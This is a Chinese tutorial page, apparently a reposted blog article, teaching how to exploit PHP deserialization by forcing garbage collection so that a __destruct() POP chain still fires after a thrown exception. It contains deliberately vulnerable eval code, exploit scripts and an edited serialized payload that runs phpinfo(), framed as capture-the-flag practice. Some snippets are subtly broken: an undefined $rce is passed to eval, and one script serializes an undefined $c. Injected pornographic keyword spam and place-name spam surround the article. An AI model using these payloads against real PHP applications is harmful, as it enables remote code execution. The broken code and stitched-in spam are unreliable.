最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

圖文詳解PHP中GC回收機(jī)制的利用

 更新時(shí)間:2022年03月29日 16:24:20   作者:errorr0  
GC如其名就是垃圾收集,當(dāng)然這里僅就內(nèi)存而言,下面這篇文章主要給大家介紹了關(guān)于PHP中GC回收機(jī)制利用的相關(guān)資料,文中通過(guò)圖文介紹的非常詳細(xì),需要的朋友可以參考下

前言

在前面講魔術(shù)方法時(shí)就提到過(guò)一個(gè)問(wèn)題,__destruct()無(wú)論如何都會(huì)被觸發(fā),但是前提是必須得完成程序的開(kāi)始與結(jié)束,但是如果程序走了一半,突然報(bào)錯(cuò),那么__destruct()不會(huì)觸發(fā)了,那如果又必須要__destruct()觸發(fā)又得怎么搞呢?

這里就要提到一個(gè)垃圾回收機(jī)制---GC回收??!

簡(jiǎn)單鋪墊

先看看這個(gè)簡(jiǎn)單的序列化,一定要先思考再看后面的答案

<?php
highlight_file(__FILE__);
 
class errorr{
public $rce;
public function __destruct(){
 
        eval($rce);
}
}
 
$a = $_GET["a"];
unserialize($a);
?>

很簡(jiǎn)單的一個(gè)反序列化,想辦法控制$rce這個(gè)變量就可以達(dá)到命令執(zhí)行的目的。

構(gòu)造exp

<?php
class errorr{
public $rce = "phpinfo();";
}
 
$a = new errorr();
echo urlencode(serialize($a));
?>

如果你看完了我之前寫(xiě)的序列化與反序列化基礎(chǔ)篇就只能說(shuō)這個(gè)是非常簡(jiǎn)單了。

這里是因?yàn)榭梢杂玫?strong>__destruct()方法

<?php
highlight_file(__FILE__);
class errorr{
public $rce;
public function __destruct(){
        eval($rce);
}
}
 
$a = $_GET["a"];
unserialize($a);
throw new Exception("???");
?>

 如果是這樣的話(huà)呢?不會(huì)的話(huà)也不用著急搞懂,我們后面慢慢說(shuō)。

初識(shí)GC

PHP Garbage Collection簡(jiǎn)稱(chēng)GC,又名垃圾回收,在PHP中使用引用計(jì)數(shù)和回收周期來(lái)自動(dòng)管理內(nèi)存對(duì)象的。

垃圾,顧名思義就是一些沒(méi)有用的東西。在這里指的是一些數(shù)據(jù)或者說(shuō)是變量在進(jìn)行某些操作后被置為空(NULL)或者是沒(méi)有地址(指針)的指向,這種數(shù)據(jù)一旦被當(dāng)作垃圾回收后就相當(dāng)于把一個(gè)程序的結(jié)尾給劃上了句號(hào),那么就不會(huì)出現(xiàn)無(wú)法調(diào)用__destruct()方法了。想知道原理細(xì)節(jié)的小伙伴可以直接看PHP官方的解答:PHP: 回收周期(Collecting Cycles) - Manual

 那接下來(lái)就演示用代碼演示GC的實(shí)際工作。

<?php
highlight_file(__FILE__);
error_reporting(0);
class errorr{
public $num;
public function __construct($num)
{
    $this->num = $num;
    echo $this->num."__construct"."</br>";
}
public function __destruct(){
        echo $this->num."__destruct()"."</br>";
}
}
 
new errorr(1);
$a = new errorr(2);
$b = new errorr(3);
?>

可以猜一猜結(jié)果會(huì)是什么。

謝謝有被吃驚到(雖然我是已經(jīng)知道結(jié)果的),new了一個(gè)errorr對(duì)象,屁股還沒(méi)坐熱就__destruct()了。后面的兩個(gè)對(duì)象則是按部就班先創(chuàng)建完沒(méi)有操作了以后才結(jié)束的。區(qū)別就在于對(duì)象1沒(méi)有任何引用也沒(méi)有指向,在創(chuàng)建的那一刻就被當(dāng)作垃圾回收了,從而觸發(fā)了__destruct()方法。

如果沒(méi)有指向可以,那如過(guò)在指向一個(gè)對(duì)象的中途忽然指向另一個(gè),也就是舍棄了該對(duì)象又會(huì)怎么樣。

<?php
highlight_file(__FILE__);
error_reporting(0);
class errorr{
public $num;
public function __construct($num)
{
    $this->num = $num;
    echo $this->num."__construct"."</br>";
}
public function __destruct(){
        echo $this->num."__destruct()"."</br>";
}
}
 
$c = array(new errorr(1),0);
$c[0] = $c[1];
$a = new errorr(2);
$b = new errorr(3);
?>

意料之中。

如果注銷(xiāo)$c[0] = $c[1]呢?

可以看到,正常創(chuàng)建,最后銷(xiāo)毀的。 

小試牛刀

既然知道如何利用GC了,那就看一個(gè)例題。

<?php
highlight_file(__FILE__);
error_reporting(0);
class errorr0{
public $num;
public function __destruct(){
        echo "hello __destruct";
        echo $this->num;
    }
}
class errorr1{
    public $err;
    public function __toString()
    {
        echo "hello __toString";
        $this->err->flag();
    }
}
 
class errorr2{
    public $err;
    public function flag()
    {
        echo "hello __flag()";
        eval($this->err);
    }
}
 
$a=unserialize($_GET['url']);
throw new Exception("就這?");
 
?>

自己胡思亂想出來(lái)的題目,太簡(jiǎn)單也不要罵我哈哈哈??赡苓@個(gè)throw new Exception();有點(diǎn)突兀,這其實(shí)就是阻止__destruct()執(zhí)行的拋錯(cuò),學(xué)過(guò)java或者python的小伙伴應(yīng)該知道。

這也算一個(gè)pop鏈子吧,先分析目的函數(shù),看來(lái)看去就是errorr2::flag(),往前推就是errorr1::__toString()會(huì)觸發(fā)這個(gè)函數(shù),而errorr0::__destruct()會(huì)觸發(fā)toString,思路理清就把鏈子構(gòu)造出來(lái)為:首端 --> errorr0::__destruct() --> errorr1::__toString() --> errorr2::flag() -->尾巴。

exp為:

<?php
error_reporting(0);
class errorr0{
	public $num;
	public function __construct()
	{
		$this->num = new errorr1();
	}
 
}
class errorr1{
    public $err;
	public function __construct()
	{
		$this->err = new errorr2();
	}
}
 
class errorr2{
    public $err = "phpinfo();";
}
 
$a = new errorr0();
echo serialize($c);
?>

這個(gè)exp的構(gòu)造有許多方法的,根據(jù)自己喜好來(lái),不必和我一樣。

這就完了?或許有人迷惑了,如果完了那前面我說(shuō)的都是在放屁,和pop沒(méi)區(qū)別,所以當(dāng)然還沒(méi)完。如果沒(méi)有這句throw new Exception();就真的構(gòu)造完了,但是有的話(huà)__destruct()是不會(huì)執(zhí)行的,而__destruct()不執(zhí)行這條鏈子根本就是堵死的,沒(méi)啥用。

重點(diǎn)來(lái)了,根據(jù)之前說(shuō)的GC回收機(jī)制可以把一段數(shù)據(jù)當(dāng)做垃圾回收,那不就可以執(zhí)行__destruct(),然后就有一個(gè)問(wèn)題-------如何觸發(fā)GC回收機(jī)制??。∵€記得,之前舉過(guò)的例子嗎?如過(guò)沒(méi)有如何東西指向一個(gè)對(duì)象,那個(gè)對(duì)象就會(huì)被當(dāng)作垃圾回收。所以,我們先看修改后的exp

<?php
error_reporting(0);
class errorr0{
	public $num;
	public function __construct()
	{
		$this->num = new errorr1();
	}
 
}
class errorr1{
    public $err;
	public function __construct()
	{
		$this->err = new errorr2();
	}
}
 
class errorr2{
    public $err = "phpinfo();";
}
 
$a = new errorr0();
$c = array(0=>$a,1=>NULL);
echo serialize($c);
?>

可以看出來(lái),就加了一行代碼,就是

$c = array(0=>$a,1=>NULL);

把目標(biāo)對(duì)象賦給鍵為0,鍵為1賦值為NULL。為什么要這么做,因?yàn)檫@樣操作后,得到的字符串為:

a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:1;N;}

可以自己試試。解釋一下這串字符。

第一個(gè)a為數(shù)組,2為數(shù)組中鍵有兩個(gè) i = 0以及 i = 1

重點(diǎn)重點(diǎn)重點(diǎn),雖然有兩個(gè)鍵i = 0對(duì)應(yīng)的是我們目標(biāo)對(duì)象,i = 1NULL,如果這個(gè)時(shí)候我們做一件壞事,把i 本應(yīng)該等于 1修改為 i = 0。那不就是把i = 0指向NULL了嗎?然后就實(shí)現(xiàn)了GC回收。所以最后我們修改后的字符串為:

a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:0;N;}

成功拿下??!這就是GC回收機(jī)制的利用,現(xiàn)在返回去看開(kāi)始那個(gè)鋪墊我想你應(yīng)該就懂了。

總結(jié)

因?yàn)橹v的GC回收機(jī)制并不算深入,只是談?wù)勅绾卫?,所以如果想要深入了解的還是得自己去百度查查別人寫(xiě)的原理,另外就是GC回收機(jī)制的利用需要修改字符串中的數(shù)據(jù),如果phar反序列化+GC的話(huà)就還需要額外修改phar文件的簽名,如果遇到的話(huà)就需要在修改序列化字符串后再對(duì)其進(jìn)行加密得到的數(shù)據(jù)替換原本的簽名。

到此這篇關(guān)于PHP中GC回收機(jī)制利用的文章就介紹到這了,更多相關(guān)PHP中GC回收機(jī)制內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

 參考:淺析GC回收機(jī)制與phar反序列化 | Arsene.Tang

http://m.fzitv.net/article/70851.htm

相關(guān)文章

  • codeigniter顯示所有腳本執(zhí)行時(shí)間的方法

    codeigniter顯示所有腳本執(zhí)行時(shí)間的方法

    這篇文章主要介紹了codeigniter顯示所有腳本執(zhí)行時(shí)間的方法,涉及codeigniter中elapsed_time方法與{ elapsed_time}偽變量的使用技巧,需要的朋友可以參考下
    2015-03-03
  • nohup在后臺(tái)常駐運(yùn)行php腳本

    nohup在后臺(tái)常駐運(yùn)行php腳本

    linux中跑一個(gè)程序,如果我們退出終端,或者網(wǎng)絡(luò)不好連接中斷,那么程序就會(huì)被中止,而這個(gè)情況肯定不是我們想看到的,要讓PHP程序在Linux后臺(tái)執(zhí)行,可以使用nohup命令配合&符號(hào),nohup命令可以使進(jìn)程在用戶(hù)注銷(xiāo)后繼續(xù)運(yùn)行,&可以將進(jìn)程放到后臺(tái)執(zhí)行
    2024-03-03
  • Laravel中間件實(shí)現(xiàn)原理詳解

    Laravel中間件實(shí)現(xiàn)原理詳解

    這篇文章主要介紹了Laravel中間件實(shí)現(xiàn)原理,較為詳細(xì)的分析了Laravel中間件的概念、原理及相關(guān)方法與使用技巧,需要的朋友可以參考下
    2016-10-10
  • PHP后臺(tái)實(shí)現(xiàn)微信小程序登錄

    PHP后臺(tái)實(shí)現(xiàn)微信小程序登錄

    這篇文章主要為大家詳細(xì)介紹了PHP后臺(tái)實(shí)現(xiàn)微信小程序登錄,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2018-08-08
  • yii實(shí)現(xiàn)級(jí)聯(lián)下拉菜單的方法

    yii實(shí)現(xiàn)級(jí)聯(lián)下拉菜單的方法

    這篇文章主要介紹了yii實(shí)現(xiàn)級(jí)聯(lián)下拉菜單的方法,需要的朋友可以參考下
    2014-07-07
  • ThinkPHP中泛域名部署的實(shí)現(xiàn)方法

    ThinkPHP中泛域名部署的實(shí)現(xiàn)方法

    對(duì)于需要部署多個(gè)網(wǎng)站的開(kāi)發(fā)者來(lái)說(shuō),站群架構(gòu)是一種廣泛采用的設(shè)計(jì)模式,而泛域名部署則是站群架構(gòu)中比較常見(jiàn)的實(shí)現(xiàn)方式之一,在這篇文章中,我們將介紹如何在ThinkPHP框架中實(shí)現(xiàn)泛域名部署站群,需要的朋友可以參考下
    2024-04-04
  • Joomla簡(jiǎn)單判斷用戶(hù)是否登錄的方法

    Joomla簡(jiǎn)單判斷用戶(hù)是否登錄的方法

    這篇文章主要介紹了Joomla簡(jiǎn)單判斷用戶(hù)是否登錄的方法,涉及Joomla基于服務(wù)器端變量結(jié)合Joomla文件進(jìn)行判斷與跳轉(zhuǎn)的相關(guān)技巧,需要的朋友可以參考下
    2016-05-05
  • 多個(gè)PHP中文字符串截取函數(shù)

    多個(gè)PHP中文字符串截取函數(shù)

    字符串截取是一個(gè)非常常見(jiàn)的編程任務(wù),而往往帶中文的字符串截取會(huì)經(jīng)常用到。雖然不難,但是自己寫(xiě)函數(shù)實(shí)現(xiàn)又耗費(fèi)時(shí)間,這里介紹一個(gè)比較好用的字符串截取函數(shù),能夠勝任基本的需求了
    2013-11-11
  • 一文掌握PHP Xdebug 本地與遠(yuǎn)程調(diào)試(小結(jié))

    一文掌握PHP Xdebug 本地與遠(yuǎn)程調(diào)試(小結(jié))

    這篇文章主要介紹了一文掌握PHP Xdebug 本地與遠(yuǎn)程調(diào)試(小結(jié)),小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧
    2019-04-04
  • Smarty分頁(yè)實(shí)現(xiàn)方法完整實(shí)例

    Smarty分頁(yè)實(shí)現(xiàn)方法完整實(shí)例

    這篇文章主要介紹了Smarty分頁(yè)實(shí)現(xiàn)方法,涉及基于Smarty的數(shù)據(jù)庫(kù)查詢(xún)、分頁(yè)相關(guān)計(jì)算與模板操作技巧,需要的朋友可以參考下
    2016-05-05

最新評(píng)論

依安县| 金沙县| 洱源县| 津市市| 湛江市| 老河口市| 景洪市| 恩施市| 剑川县| 靖远县| 新津县| 锡林浩特市| 阜新| 莱西市| 昌乐县| 中阳县| 繁峙县| 游戏| 无为县| 锡林郭勒盟| 哈巴河县| 咸丰县| 安乡县| 苏尼特右旗| 建湖县| 台前县| 甘谷县| 大理市| 呈贡县| 临泽县| 瑞昌市| 罗江县| 湘西| 汾阳市| 宁晋县| 四子王旗| 庐江县| 吴桥县| 襄汾县| 昌宁县| 玉溪市|